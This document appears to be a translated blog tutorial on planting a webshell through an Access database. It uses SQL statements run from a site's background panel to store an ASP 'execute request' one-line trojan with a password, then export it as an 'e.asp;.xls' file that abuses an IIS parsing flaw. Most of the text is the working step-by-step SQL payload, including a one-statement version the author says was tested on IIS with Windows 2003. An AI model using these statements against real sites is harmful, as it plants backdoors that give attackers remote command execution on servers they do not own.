The access library uses the background SQL to execute and export webshell

Where a website can execute SQL statements in the background, the physical path of the website is also obtained. I used to see the method of using access to export shell on the Internet. The principle is similar to the outfile of the php website.

First, write a sentence to the database, and then write the statement to the file.

Here you need to export the data table content to an EXCEL file, because the ACCESS database does not allow export of other dangerous formats. After exporting the file to EXCEL, we can use the IIS resolution vulnerability to connect it to the client.

Perform the following operations:

(1) create table a (B varchar (50 ))

Create a table with a B field named a. The field type is character and the length is 50.

(2) insert into a (B) values (<% execute request (chr (35) %>)

Insert a Trojan with the password # in field B of Table.

(3) select * into [B] in d: ......e.asp;.xls excel 4.0; from

Export the content of Table a as e. asp; xlsdrop

 

In fact, the above three statements can be implemented in one sentence:

SELECT <% execute request (chr (35) %> into [user] in d: .....e.asp;.xls excel 8.0; from [user]

I have tested the above methods locally. This can be implemented, and the client can be connected and executed in one sentence (IIS + win2003 ).

Of course, due to restrictions on server permissions, the actual operation may fail.